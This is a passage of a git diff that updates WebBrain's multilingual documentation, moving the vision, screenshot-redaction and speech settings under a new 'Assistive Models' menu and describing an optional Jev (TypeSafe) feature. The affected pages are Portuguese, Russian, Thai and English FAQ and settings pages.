capturas de tela e o texto da página nunca saem da sua máquina, portanto, em primeiro lugar, não há nada para editar — essa é a única configuração em que a privacidade é garantida. Consulte "Posso usar WebBrain totalmente offline?" acima.</p><p><strong>Não tem uma máquina que possa executar um modelo local com capacidade de visão?</strong> Um bom meio-termo é um pequeno modelo local para planejamento e chamadas de ferramentas (rápido e leve o suficiente para uma CPU/GPU modesta) emparelhado com um provedor de nuvem para as subchamadas de visão, com a edição de captura de tela ativada. Você ainda mantém sua conversa e o texto da página no dispositivo, e cada captura de tela que sai para a visão na nuvem tem campos de formulário e e-mails/telefones detectados desfocados primeiro – exposição reduzida à nuvem sem a necessidade de hardware para um modelo de visão local completo. Configure a divisão de visão em <strong>Configurações → Visão</strong> (consulte "Como o WebBrain mantém as contas do Cloud LLM sob controle?" acima).</p></div>
+ <div class="faq-answer"><p>Não – reduz a exposição, não é uma garantia. Quando ativado (<strong>Configurações → Modelos auxiliares → Visão → Redação de captura de tela</strong>, desativado por padrão), WebBrain pixeliza campos de formulário e texto que se parece com um endereço de e-mail ou número de telefone em cada captura de tela <em>antes</em> ele é enviado para um modelo de visão. A detecção é executada inteiramente no seu dispositivo usando heurística DOM; nada extra é transmitido.</p><p><strong>É o melhor esforço e a falha aberta.</strong> Se o detector não puder ser executado em uma página — por exemplo, imediatamente após uma navegação, em visualizadores de PDF ou em páginas restritas do navegador — a captura de tela ainda será enviada <em>não editado</em> em vez de abortar sua tarefa. O conteúdo que a heurística do DOM não consegue ver (texto desenhado em uma tela, PII dentro de imagens, widgets incomuns) também pode escapar. E a configuração cobre apenas capturas de tela: página <em>texto</em> enviado ao modelo não é editado por ele.</p><p><strong>Para total privacidade visual, use um modelo local.</strong> Com um provedor off-line como llama.cpp ou Ollama, as capturas de tela e o texto da página nunca saem da sua máquina, portanto, em primeiro lugar, não há nada para editar — essa é a única configuração em que a privacidade é garantida. Consulte "Posso usar WebBrain totalmente offline?" acima.</p><p><strong>Não tem uma máquina que possa executar um modelo local com capacidade de visão?</strong> Um bom meio-termo é um pequeno modelo local para planejamento e chamadas de ferramentas (rápido e leve o suficiente para uma CPU/GPU modesta) emparelhado com um provedor de nuvem para as subchamadas de visão, com a edição de captura de tela ativada. Você ainda mantém sua conversa e o texto da página no dispositivo, e cada captura de tela que sai para a visão na nuvem tem campos de formulário e e-mails/telefones detectados desfocados primeiro – exposição reduzida à nuvem sem a necessidade de hardware para um modelo de visão local completo. Configure a divisão de visão em <strong>Configurações → Modelos auxiliares → Visão</strong> (consulte "Como o WebBrain mantém as contas do Cloud LLM sob controle?" acima).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>O WebBrain envia todo o DOM para o modelo de IA?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/ru/faq/index.html b/web/docs/ru/faq/index.html
index c16cbb141..54749ad36 100644
--- a/web/docs/ru/faq/index.html
+++ b/web/docs/ru/faq/index.html
@@ -249,7 +249,7 @@
"name": "Гарантирует ли настройка редактирования скриншотов, что мои личные данные никогда не попадут в облачную модель зрения?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Нет — она снижает риск, но не является гарантией. При включении (Настройки → Мультимодальность → Редактирование скриншотов, по умолчанию выключено) WebBrain пикселизирует поля форм и текст, похожий на email или номер телефона, на каждом скриншоте перед отправкой модели зрения. Обнаружение выполняется полностью на вашем устройстве с помощью эвристик DOM; ничего лишнего не передаётся. Это работа по принципу «максимум усилий» и fail-open. Если детектор не может сработать на странице — например, сразу после перехода, в просмотрщиках PDF или на ограниченных страницах браузера, — скриншот всё равно отправляется неотредактированным, вместо того чтобы прервать вашу задачу. Контент, который эвристики DOM не видят (текст, нарисованный на canvas, персональные данные внутри изображений, необычные виджеты), тоже может проскользнуть. И настройка касается только скриншотов: текст страницы, отправляемый модели, ею не редактируется. Для полной приватности зрения используйте локальную модель. С офлайн-провайдером вроде llama.cpp или Ollama скриншоты и текст страницы никогда не покидают ваше устройство, так что редактировать попросту нечего — это единственная конфигурация, где приватность гарантирована. См. «Можно ли пользоваться WebBrain полностью офлайн?» выше. Нет мощного устройства для локальной модели с поддержкой зрения? Хороший компромисс — использовать небольшую локальную модель для планирования и вызова инструментов (достаточно лёгкую для скромного CPU/GPU) в паре с облачным провайдером для подзапросов зрения, включив при этом редактирование скриншотов. Ваш разговор и текст страницы остаются на устройстве, а каждый скриншот, уходящий в облачное зрение, уже имеет размытые поля форм и обнаруженные email/телефоны — меньше риска в облаке без необходимости в железе для полноценной локальной модели зрения. Настройте это разделение в Настройки → Зрение (см. «Как WebBrain держит счета за облачные LLM под контролем?» выше)."
+ "text": "Нет — она снижает риск, но не является гарантией. При включении (Настройки → Вспомогательные модели → Зрение → Редактирование скриншотов, по умолчанию выключено) WebBrain пикселизирует поля форм и текст, похожий на email или номер телефона, на каждом скриншоте перед отправкой модели зрения. Обнаружение выполняется полностью на вашем устройстве с помощью эвристик DOM; ничего лишнего не передаётся. Это работа по принципу «максимум усилий» и fail-open. Если детектор не может сработать на странице — например, сразу после перехода, в просмотрщиках PDF или на ограниченных страницах браузера, — скриншот всё равно отправляется неотредактированным, вместо того чтобы прервать вашу задачу. Контент, который эвристики DOM не видят (текст, нарисованный на canvas, персональные данные внутри изображений, необычные виджеты), тоже может проскользнуть. И настройка касается только скриншотов: текст страницы, отправляемый модели, ею не редактируется. Для полной приватности зрения используйте локальную модель. С офлайн-провайдером вроде llama.cpp или Ollama скриншоты и текст страницы никогда не покидают ваше устройство, так что редактировать попросту нечего — это единственная конфигурация, где приватность гарантирована. См. «Можно ли пользоваться WebBrain полностью офлайн?» выше. Нет мощного устройства для локальной модели с поддержкой зрения? Хороший компромисс — использовать небольшую локальную модель для планирования и вызова инструментов (достаточно лёгкую для скромного CPU/GPU) в паре с облачным провайдером для подзапросов зрения, включив при этом редактирование скриншотов. Ваш разговор и текст страницы остаются на устройстве, а каждый скриншот, уходящий в облачное зрение, уже имеет размытые поля форм и обнаруженные email/телефоны — меньше риска в облаке без необходимости в железе для полноценной локальной модели зрения. Настройте это разделение в Настройки → Вспомогательные модели → Зрение (см. «Как WebBrain держит счета за облачные LLM под контролем?» выше)."
}
},
{
@@ -289,7 +289,7 @@
"name": "Как WebBrain держит счета за облачные LLM под контролем?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Три независимых слоя: Скриншоты с заботой о токенах. Прежде чем любое изображение покинет вашу машину, WebBrain уменьшает его (короткая сторона ограничена, пропорции сохраняются) и итеративно сжимает в JPEG до тех пор, пока оно не уложится в бюджет image-токенов на ход. Скриншот 2000×1200, который на GPT-4o обошёлся бы примерно в 1500 входных токенов, сжимается до ~300–500 токенов без реальной потери для задач чтения страниц. Реализовано в _fitImageDimensions, есть юнит-тесты на расчёт бюджета. Умное подрезание контекста. История диалога, выводы инструментов и встроенные дампы DOM ограничены на ход и подрезаются от старого к новому, когда контекстное окно активной модели приближается к заполнению. Вы не увидите, как сессия тихо распухает с 10k токенов до 100k из-за того, что read_page вернул статью размером с роман. Отдельная vision-модель. Пара: дешёвая текстовая модель (например, GPT-4o-mini) для планирования и tool-вызовов плюс отдельная vision-модель (например, GPT-4o) только для скриншотов — и вы не платите цену мультимодальной модели на каждом ходу. Настраивается в Настройки → Зрение. В итоге: длинные сессии с облачными провайдерами остаются предсказуемыми. Для полного контроля — поднимайте llama.cpp локально, цена за токен нулевая."
+ "text": "Три независимых слоя: Скриншоты с заботой о токенах. Прежде чем любое изображение покинет вашу машину, WebBrain уменьшает его (короткая сторона ограничена, пропорции сохраняются) и итеративно сжимает в JPEG до тех пор, пока оно не уложится в бюджет image-токенов на ход. Скриншот 2000×1200, который на GPT-4o обошёлся бы примерно в 1500 входных токенов, сжимается до ~300–500 токенов без реальной потери для задач чтения страниц. Реализовано в _fitImageDimensions, есть юнит-тесты на расчёт бюджета. Умное подрезание контекста. История диалога, выводы инструментов и встроенные дампы DOM ограничены на ход и подрезаются от старого к новому, когда контекстное окно активной модели приближается к заполнению. Вы не увидите, как сессия тихо распухает с 10k токенов до 100k из-за того, что read_page вернул статью размером с роман. Отдельная vision-модель. Пара: дешёвая текстовая модель (например, GPT-4o-mini) для планирования и tool-вызовов плюс отдельная vision-модель (например, GPT-4o) только для скриншотов — и вы не платите цену мультимодальной модели на каждом ходу. Настраивается в Настройки → Вспомогательные модели → Зрение. В итоге: длинные сессии с облачными провайдерами остаются предсказуемыми. Для полного контроля — поднимайте llama.cpp локально, цена за токен нулевая."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>Как WebBrain держит счета за облачные LLM под контролем?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Три независимых слоя:</p><p><strong>Скриншоты с заботой о токенах.</strong> Прежде чем любое изображение покинет вашу машину, WebBrain уменьшает его (короткая сторона ограничена, пропорции сохраняются) и итеративно сжимает в JPEG до тех пор, пока оно не уложится в бюджет image-токенов на ход. Скриншот 2000×1200, который на GPT-4o обошёлся бы примерно в 1500 входных токенов, сжимается до ~300–500 токенов без реальной потери для задач чтения страниц. Реализовано в <code>_fitImageDimensions</code>, есть юнит-тесты на расчёт бюджета.</p><p><strong>Умное подрезание контекста.</strong> История диалога, выводы инструментов и встроенные дампы DOM ограничены на ход и подрезаются от старого к новому, когда контекстное окно активной модели приближается к заполнению. Вы не увидите, как сессия тихо распухает с 10k токенов до 100k из-за того, что <code>read_page</code> вернул статью размером с роман.</p><p><strong>Отдельная vision-модель.</strong> Пара: дешёвая текстовая модель (например, GPT-4o-mini) для планирования и tool-вызовов плюс отдельная vision-модель (например, GPT-4o) только для скриншотов — и вы не платите цену мультимодальной модели на каждом ходу. Настраивается в <strong>Настройки → Зрение</strong>.</p><p>В итоге: длинные сессии с облачными провайдерами остаются предсказуемыми. Для полного контроля — поднимайте llama.cpp локально, цена за токен нулевая.</p></div>
+ <div class="faq-answer"><p>Три независимых слоя:</p><p><strong>Скриншоты с заботой о токенах.</strong> Прежде чем любое изображение покинет вашу машину, WebBrain уменьшает его (короткая сторона ограничена, пропорции сохраняются) и итеративно сжимает в JPEG до тех пор, пока оно не уложится в бюджет image-токенов на ход. Скриншот 2000×1200, который на GPT-4o обошёлся бы примерно в 1500 входных токенов, сжимается до ~300–500 токенов без реальной потери для задач чтения страниц. Реализовано в <code>_fitImageDimensions</code>, есть юнит-тесты на расчёт бюджета.</p><p><strong>Умное подрезание контекста.</strong> История диалога, выводы инструментов и встроенные дампы DOM ограничены на ход и подрезаются от старого к новому, когда контекстное окно активной модели приближается к заполнению. Вы не увидите, как сессия тихо распухает с 10k токенов до 100k из-за того, что <code>read_page</code> вернул статью размером с роман.</p><p><strong>Отдельная vision-модель.</strong> Пара: дешёвая текстовая модель (например, GPT-4o-mini) для планирования и tool-вызовов плюс отдельная vision-модель (например, GPT-4o) только для скриншотов — и вы не платите цену мультимодальной модели на каждом ходу. Настраивается в <strong>Настройки → Вспомогательные модели → Зрение</strong>.</p><p>В итоге: длинные сессии с облачными провайдерами остаются предсказуемыми. Для полного контроля — поднимайте llama.cpp локально, цена за токен нулевая.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Гарантирует ли настройка редактирования скриншотов, что мои личные данные никогда не попадут в облачную модель зрения?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Нет — она снижает риск, но не является гарантией. При включении (<strong>Настройки → Мультимодальность → Редактирование скриншотов</strong>, по умолчанию выключено) WebBrain пикселизирует поля форм и текст, похожий на email или номер телефона, на каждом скриншоте <em>перед</em> отправкой модели зрения. Обнаружение выполняется полностью на вашем устройстве с помощью эвристик DOM; ничего лишнего не передаётся.</p><p><strong>Это работа по принципу «максимум усилий» и fail-open.</strong> Если детектор не может сработать на странице — например, сразу после перехода, в просмотрщиках PDF или на ограниченных страницах браузера, — скриншот всё равно отправляется <em>неотредактированным</em>, вместо того чтобы прервать вашу задачу. Контент, который эвристики DOM не видят (текст, нарисованный на canvas, персональные данные внутри изображений, необычные виджеты), тоже может проскользнуть. И настройка касается только скриншотов: <em>текст</em> страницы, отправляемый модели, ею не редактируется.</p><p><strong>Для полной приватности зрения используйте локальную модель.</strong> С офлайн-провайдером вроде llama.cpp или Ollama скриншоты и текст страницы никогда не покидают ваше устройство, так что редактировать попросту нечего — это единственная конфигурация, где приватность гарантирована. См. «Можно ли пользоваться WebBrain полностью офлайн?» выше.</p><p><strong>Нет мощного устройства для локальной модели с поддержкой зрения?</strong> Хороший компромисс — использовать небольшую локальную модель для планирования и вызова инструментов (достаточно лёгкую для скромного CPU/GPU) в паре с облачным провайдером для подзапросов зрения, включив при этом редактирование скриншотов. Ваш разговор и текст страницы остаются на устройстве, а каждый скриншот, уходящий в облачное зрение, уже имеет размытые поля форм и обнаруженные email/телефоны — меньше риска в облаке без необходимости в железе для полноценной локальной модели зрения. Настройте это разделение в <strong>Настройки → Зрение</strong> (см. «Как WebBrain держит счета за облачные LLM под контролем?» выше).</p></div>
+ <div class="faq-answer"><p>Нет — она снижает риск, но не является гарантией. При включении (<strong>Настройки → Вспомогательные модели → Зрение → Редактирование скриншотов</strong>, по умолчанию выключено) WebBrain пикселизирует поля форм и текст, похожий на email или номер телефона, на каждом скриншоте <em>перед</em> отправкой модели зрения. Обнаружение выполняется полностью на вашем устройстве с помощью эвристик DOM; ничего лишнего не передаётся.</p><p><strong>Это работа по принципу «максимум усилий» и fail-open.</strong> Если детектор не может сработать на странице — например, сразу после перехода, в просмотрщиках PDF или на ограниченных страницах браузера, — скриншот всё равно отправляется <em>неотредактированным</em>, вместо того чтобы прервать вашу задачу. Контент, который эвристики DOM не видят (текст, нарисованный на canvas, персональные данные внутри изображений, необычные виджеты), тоже может проскользнуть. И настройка касается только скриншотов: <em>текст</em> страницы, отправляемый модели, ею не редактируется.</p><p><strong>Для полной приватности зрения используйте локальную модель.</strong> С офлайн-провайдером вроде llama.cpp или Ollama скриншоты и текст страницы никогда не покидают ваше устройство, так что редактировать попросту нечего — это единственная конфигурация, где приватность гарантирована. См. «Можно ли пользоваться WebBrain полностью офлайн?» выше.</p><p><strong>Нет мощного устройства для локальной модели с поддержкой зрения?</strong> Хороший компромисс — использовать небольшую локальную модель для планирования и вызова инструментов (достаточно лёгкую для скромного CPU/GPU) в паре с облачным провайдером для подзапросов зрения, включив при этом редактирование скриншотов. Ваш разговор и текст страницы остаются на устройстве, а каждый скриншот, уходящий в облачное зрение, уже имеет размытые поля форм и обнаруженные email/телефоны — меньше риска в облаке без необходимости в железе для полноценной локальной модели зрения. Настройте это разделение в <strong>Настройки → Вспомогательные модели → Зрение</strong> (см. «Как WebBrain держит счета за облачные LLM под контролем?» выше).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>Отправляет ли WebBrain весь DOM модели ИИ?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/settings/index.html b/web/docs/settings/index.html
index 3b31851e0..126b51f8e 100644
--- a/web/docs/settings/index.html
+++ b/web/docs/settings/index.html
@@ -22,7 +22,7 @@
<aside class="docs-sidebar" aria-label="Documentation"><div class="sidebar-group"><div class="sidebar-label">Start here</div><nav><a href="/docs/">Overview</a><a href="/docs/faq/">FAQ</a></nav></div><div class="sidebar-group"><div class="sidebar-label">Use WebBrain</div><nav><a href="/docs/settings/" aria-current="page">Settings, explained</a><a href="/docs/providers/">Providers & models</a><a href="/docs/easy-cli-proxy/">Subscription proxy</a><a href="/docs/safety/">Modes, safety & privacy</a><a href="/docs/apocalypse-mode/">Apocalypse Mode</a><a href="/docs/formats/">Exports & workflows</a><a href="/docs/mcp/">MCP server</a><a href="/docs/lm-studio/">LM Studio plugin</a><a href="/docs/ollama/">Ollama</a></nav></div><div class="sidebar-group"><div class="sidebar-label">For builders</div><nav><a href="https://github.com/webbrain-one/webbrain/tree/main/docs">Technical docs ↗</a></nav></div><div class="sidebar-group"><div class="sidebar-label">Community</div><nav><a href="https://discord.gg/cgC325ssfw">Discord Support</a></nav></div></aside>
<main class="doc-main" id="main">
<div class="breadcrumb"><a href="/docs/">Docs</a> / Settings</div>
- <section class="doc-hero"><div class="eyebrow">Settings, without guesswork</div><h1>Know what to change—and what to leave alone.</h1><p class="lede">Open Settings from the gear in the side panel or from your browser’s extension options. Most people only need General, Providers, and Permissions; the other tabs solve specific problems.</p><div class="meta">Screenshots captured from WebBrain 22.3.1 · example values contain no real credentials</div></section>
+ <section class="doc-hero"><div class="eyebrow">Settings, without guesswork</div><h1>Know what to change—and what to leave alone.</h1><p class="lede">Open Settings from the gear in the side panel or from your browser’s extension options. Most people only need General, Providers, and Permissions; the other tabs solve specific problems.</p><div class="meta">Screenshots from the Assistive Models update · synthetic configuration, no real credentials</div></section>
<section class="doc-section" id="defaults"><h2>A good default setup</h2><div class="table-wrap"><table><thead><tr><th>Control</th><th>Recommended</th><th>Why</th></tr></thead><tbody><tr><td>Plan before Act</td><td>Try planning</td><td>Uses a plan when available and safely falls back to a read-only turn if planner formatting fails.</td></tr><tr><td>Plan review stops</td><td>Below confidence threshold</td><td>Low-confidence plans pause; confident plans can continue.</td></tr><tr><td>Review below confidence</td><td>90%</td><td>A conservative balance between supervision and flow.</td></tr><tr><td>Max Agent Steps</td><td>130</td><td>Enough room for multi-step work. Stop the run yourself if behavior looks repetitive.</td></tr><tr><td>LLM request timeout</td><td>120 seconds</td><td>Cloud models usually answer sooner; large local models may need the extra startup time.</td></tr><tr><td>Scheduled action confirmation</td><td>On</td><td>Unattended work still pauses before consequential actions.</td></tr><tr><td>Permission gate</td><td>On</td><td>WebBrain asks before it first acts on a site and remembers your explicit choice.</td></tr></tbody></table></div></section>
@@ -38,7 +38,11 @@
<section class="doc-section" id="providers"><div class="eyebrow">Everyday</div><h2>Providers: choose the brain</h2><p>Only one provider is active at a time. Filter the list by Local, Cloud, or Router; search by provider, model, or field; then open a card to edit it. The safe sequence is <strong>Save → Test Connection → Set Active</strong>.</p><figure class="shot"><a href="/docs/assets/screenshots/settings-providers.jpg"><img src="/docs/assets/screenshots/settings-providers.jpg" alt="WebBrain Providers settings with category filters, search and the active provider card"></a><figcaption>The active provider remains visible even when category filters are applied. Example model names are illustrative.</figcaption></figure><p>See <a href="/docs/providers/">Providers & models</a> for local server URLs, context windows, prompt tiers, and troubleshooting.</p></section>
- <section class="doc-section" id="multimodal"><div class="eyebrow">When needed</div><h2>Multimodal: separate sight and hearing</h2><p><strong>Vision</strong> lets you send screenshots to a dedicated OpenAI-compatible vision endpoint while the active provider continues planning and calling tools. Leave it blank to use the active provider for vision too.</p><p><strong>Transcription</strong> supplies a Whisper-compatible endpoint for tab recordings. Leave it blank and WebBrain tries configured providers in this order: OpenAI, Groq, LM Studio, then llama.cpp.</p><div class="callout tip"><strong class="callout-title">A split setup can be practical</strong><p>A fast local text model can run the browser loop while a separate vision model reads occasional screenshots. You only need this if the active model’s image support is weak or absent.</p></div></section>
+ <section class="doc-section" id="multimodal"><div class="eyebrow">When needed</div><h2>Assistive Models: support the main agent</h2><p>Choose the main conversation model in <strong>Providers</strong>. Open <strong>Settings → Assistive Models</strong> for the optional models below; configuring one does not change your active provider.</p>
+ <h3>Vision</h3><p>Use a dedicated OpenAI-compatible endpoint for screenshots while the active provider handles planning and tools. Chrome also offers an optional local vision fallback. Leave both unset to use the active provider for vision. Screenshot limits and redaction are grouped here too.</p><figure class="shot"><a href="/docs/assets/screenshots/settings-assistive-models.jpg"><img src="/docs/assets/screenshots/settings-assistive-models.jpg" alt="Assistive Models settings with Vision and its screenshot controls"></a><figcaption>Vision comes first, followed by Speech to text and Jev (TypeSafe). Optional local vision is available in Chrome.</figcaption></figure>
+ <h3>Speech to text</h3><p>Configure a Whisper-compatible endpoint for recordings. Leave it blank and WebBrain tries configured providers in this order: OpenAI, Groq, LM Studio, then llama.cpp.</p>
+ <h3>Jev (TypeSafe)</h3><p>Open <strong>Settings → Assistive Models → Jev (TypeSafe)</strong> to add a TypeSafe API key and enable the features you want. Scheduled-watch and scheduled-completion verification use limited page observations to check a result. Probability thresholds live in the card’s Advanced section.</p><p><strong>Fast classifications</strong> and <strong>Fast browser actions — Experimental</strong> are separate switches, off by default. They do not replace the main planner, permissions or completion checks. No general speed improvement has been established by live benchmarks.</p><p>Use <strong>Save</strong> to store changes, <strong>Test Connection</strong> for one request with fixed example data, or <strong>Delete key</strong> to remove the key and reset Jev options. Turning off Enable Jev preserves your individual preferences. Enabled features send limited task and page data to TypeSafe and may incur charges; Strict Secret Mode disables Jev.</p><figure class="shot"><a href="/docs/assets/screenshots/settings-jev.jpg"><img src="/docs/assets/screenshots/settings-jev.jpg" alt="Jev settings with scheduled verification and separate optional fast-decision switches, all disabled"></a><figcaption>Jev is an optional assistive model. This example contains no API key; every Jev feature is disabled.</figcaption></figure>
+ </section>
<section class="doc-section" id="memory"><div class="eyebrow">When needed</div><h2>Memory: decide what persists</h2><figure class="shot"><a href="/docs/assets/screenshots/settings-memory.jpg"><img src="/docs/assets/screenshots/settings-memory.jpg" alt="WebBrain Memory settings showing encrypted cloud sync and profile auto-fill"></a><figcaption>Memory groups three different features: encrypted sync, profile auto-fill, and user memory.</figcaption></figure><ul><li><strong>Encrypted Cloud Sync</strong> is for WebBrain Compass members. Supported provider keys, profile text, and memories are encrypted with your sync password before upload. WebBrain cannot recover that password. Chat history and OAuth sign-ins are not synced.</li><li><strong>Profile auto-fill</strong> is a reusable block of personal details. It is stored in plaintext in this browser profile and sent to the active provider when enabled.</li><li><strong>User memory</strong> stores durable preferences. Explicit <code>/memory --add</code> saves immediately. Auto-learn and learning from completed forms are optional.</li></ul><div class="callout danger"><strong class="callout-title">Do not turn memory into a password manager</strong><p>Do not store passwords, API keys, tokens, recovery codes, or other secrets in profile text or user memory.</p></div></section>
@@ -48,7 +52,7 @@
<nav class="next-links" aria-label="Next guides"><a href="/docs/providers/"><span>Next</span>Providers & models →</a><a href="/docs/safety/"><span>Also important</span>Modes, safety & privacy →</a></nav>
</main>
- <aside class="on-this-page" aria-label="On this page"><h2>On this page</h2><a href="#defaults">Good defaults</a><a href="#general">General</a><a href="#advanced">Advanced</a><a href="#providers">Providers</a><a href="#multimodal">Multimodal</a><a href="#memory">Memory</a><a href="#skills">Skills</a><a href="#permissions">Permissions</a></aside>
+ <aside class="on-this-page" aria-label="On this page"><h2>On this page</h2><a href="#defaults">Good defaults</a><a href="#general">General</a><a href="#advanced">Advanced</a><a href="#providers">Providers</a><a href="#multimodal">Assistive Models</a><a href="#memory">Memory</a><a href="#skills">Skills</a><a href="#permissions">Permissions</a></aside>
</div>
<footer class="site-footer"><div class="footer-inner"><span>WebBrain user guide</span><div class="footer-links"><a href="/privacy">Privacy</a><a href="https://github.com/webbrain-one/webbrain/issues">Report an issue</a></div></div></footer><script src="/docs/assets/docs.js?v=20260809"></script>
</body></html>
diff --git a/web/docs/th/faq/index.html b/web/docs/th/faq/index.html
index 32674397d..962471749 100644
--- a/web/docs/th/faq/index.html
+++ b/web/docs/th/faq/index.html
@@ -249,7 +249,7 @@
"name": "การตั้งค่าเบลอภาพหน้าจอรับประกันหรือไม่ว่าข้อมูลส่วนตัวของฉันจะไม่มีวันไปถึงโมเดลวิชั่นบนคลาวด์?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "ไม่ — มันช่วยลดความเสี่ยง ไม่ใช่การรับประกัน เมื่อเปิดใช้งาน (การตั้งค่า → มัลติโมดัล → การเบลอภาพหน้าจอ ปิดอยู่โดยค่าเริ่มต้น) WebBrain จะเบลอช่องฟอร์มและข้อความที่ดูเหมือนอีเมลหรือหมายเลขโทรศัพท์บนภาพหน้าจอทุกภาพ ก่อน ที่จะส่งไปยังโมเดลวิชั่น การตรวจจับทำงานทั้งหมดบนอุปกรณ์ของคุณโดยใช้หลักการ DOM heuristics ไม่มีการส่งข้อมูลเพิ่มเติมใดๆ ฟีเจอร์นี้เป็นแบบ best-effort และ fail-open หากตัวตรวจจับไม่สามารถทำงานบนหน้าใดหน้าหนึ่งได้ — เช่น ทันทีหลังการนำทาง ในตัวแสดง PDF หรือบนหน้าเบราว์เซอร์ที่ถูกจำกัด — ภาพหน้าจอจะยังคงถูกส่งไปโดยไม่ถูกเบลอ แทนที่จะยกเลิกงานของคุณ เนื้อหาที่หลักการ DOM heuristics มองไม่เห็น (ข้อความที่วาดบน canvas ข้อมูลส่วนบุคคลในรูปภาพ วิดเจ็ตที่ไม่ปกติ) ก็อาจหลุดรอดได้เช่นกัน และการตั้งค่านี้ครอบคลุมเฉพาะภาพหน้าจอเท่านั้น ข้อความในหน้าเว็บที่ส่งไปยังโมเดลจะไม่ถูกเบลอโดยการตั้งค่านี้ หากต้องการความเป็นส่วนตัวด้านวิชั่นอย่างเต็มที่ ให้ใช้โมเดลภายในเครื่อง เมื่อใช้ผู้ให้บริการแบบออฟไลน์ เช่น llama.cpp หรือ Ollama ภาพหน้าจอและข้อความในหน้าเว็บจะไม่ออกจากเครื่องของคุณเลย จึงไม่มีอะไรต้องเบลอตั้งแต่แรก — นี่คือการตั้งค่าเดียวที่รับประกันความเป็นส่วนตัวได้จริง ดู \"ใช้ WebBrain แบบออฟไลน์ทั้งหมดได้ไหม?\" ด้านบน ไม่มีเครื่องที่แรงพอจะรันโมเดลภายในเครื่องแบบรองรับวิชั่น? ทางเลือกที่ดีคือใช้โมเดลภายในเครื่องขนาดเล็กสำหรับการวางแผนและเรียกใช้เครื่องมือ (เบาพอสำหรับ CPU/GPU ทั่วไป) ควบคู่กับผู้ให้บริการคลาวด์สำหรับการเรียกใช้วิชั่นย่อย พร้อมเปิดการเบลอภาพหน้าจอไว้ ด้วยวิธีนี้บทสนทนาและข้อความในหน้าเว็บของคุณยังคงอยู่ในเครื่อง และทุกภาพหน้าจอที่ส่งออกไปยังวิชั่นบนคลาวด์จะถูกเบลอช่องฟอร์มและอีเมล/เบอร์โทรที่ตรวจพบไว้ล่วงหน้าแล้ว — ลดความเสี่ยงบนคลาวด์โดยไม่ต้องใช้ฮาร์ดแวร์สำหรับโมเดลวิชั่นภายในเครื่องแบบเต็มรูปแบบ ตั้งค่าการแบ่งนี้ได้ที่ การตั้งค่า → วิชั่น (ดู \"WebBrain ควบคุมบิล LLM บนคลาวด์อย่างไร?\" ด้านบน)"
+ "text": "ไม่ — มันช่วยลดความเสี่ยง ไม่ใช่การรับประกัน เมื่อเปิดใช้งาน (การตั้งค่า → โมเดลเสริม → การมองเห็น → การเบลอภาพหน้าจอ ปิดอยู่โดยค่าเริ่มต้น) WebBrain จะเบลอช่องฟอร์มและข้อความที่ดูเหมือนอีเมลหรือหมายเลขโทรศัพท์บนภาพหน้าจอทุกภาพ ก่อน ที่จะส่งไปยังโมเดลวิชั่น การตรวจจับทำงานทั้งหมดบนอุปกรณ์ของคุณโดยใช้หลักการ DOM heuristics ไม่มีการส่งข้อมูลเพิ่มเติมใดๆ ฟีเจอร์นี้เป็นแบบ best-effort และ fail-open หากตัวตรวจจับไม่สามารถทำงานบนหน้าใดหน้าหนึ่งได้ — เช่น ทันทีหลังการนำทาง ในตัวแสดง PDF หรือบนหน้าเบราว์เซอร์ที่ถูกจำกัด — ภาพหน้าจอจะยังคงถูกส่งไปโดยไม่ถูกเบลอ แทนที่จะยกเลิกงานของคุณ เนื้อหาที่หลักการ DOM heuristics มองไม่เห็น (ข้อความที่วาดบน canvas ข้อมูลส่วนบุคคลในรูปภาพ วิดเจ็ตที่ไม่ปกติ) ก็อาจหลุดรอดได้เช่นกัน และการตั้งค่านี้ครอบคลุมเฉพาะภาพหน้าจอเท่านั้น ข้อความในหน้าเว็บที่ส่งไปยังโมเดลจะไม่ถูกเบลอโดยการตั้งค่านี้ หากต้องการความเป็นส่วนตัวด้านวิชั่นอย่างเต็มที่ ให้ใช้โมเดลภายในเครื่อง เมื่อใช้ผู้ให้บริการแบบออฟไลน์ เช่น llama.cpp หรือ Ollama ภาพหน้าจอและข้อความในหน้าเว็บจะไม่ออกจากเครื่องของคุณเลย จึงไม่มีอะไรต้องเบลอตั้งแต่แรก — นี่คือการตั้งค่าเดียวที่รับประกันความเป็นส่วนตัวได้จริง ดู \"ใช้ WebBrain แบบออฟไลน์ทั้งหมดได้ไหม?\" ด้านบน ไม่มีเครื่องที่แรงพอจะรันโมเดลภายในเครื่องแบบรองรับวิชั่น? ทางเลือกที่ดีคือใช้โมเดลภายในเครื่องขนาดเล็กสำหรับการวางแผนและเรียกใช้เครื่องมือ (เบาพอสำหรับ CPU/GPU ทั่วไป) ควบคู่กับผู้ให้บริการคลาวด์สำหรับการเรียกใช้วิชั่นย่อย พร้อมเปิดการเบลอภาพหน้าจอไว้ ด้วยวิธีนี้บทสนทนาและข้อความในหน้าเว็บของคุณยังคงอยู่ในเครื่อง และทุกภาพหน้าจอที่ส่งออกไปยังวิชั่นบนคลาวด์จะถูกเบลอช่องฟอร์มและอีเมล/เบอร์โทรที่ตรวจพบไว้ล่วงหน้าแล้ว — ลดความเสี่ยงบนคลาวด์โดยไม่ต้องใช้ฮาร์ดแวร์สำหรับโมเดลวิชั่นภายในเครื่องแบบเต็มรูปแบบ ตั้งค่าการแบ่งนี้ได้ที่ การตั้งค่า → โมเดลเสริม → การมองเห็น (ดู \"WebBrain ควบคุมบิล LLM บนคลาวด์อย่างไร?\" ด้านบน)"
}
},
{
@@ -289,7 +289,7 @@
"name": "WebBrain ควบคุมบิล LLM บนคลาวด์อย่างไร?",
"acceptedAnswer": {
"@type": "Answer",
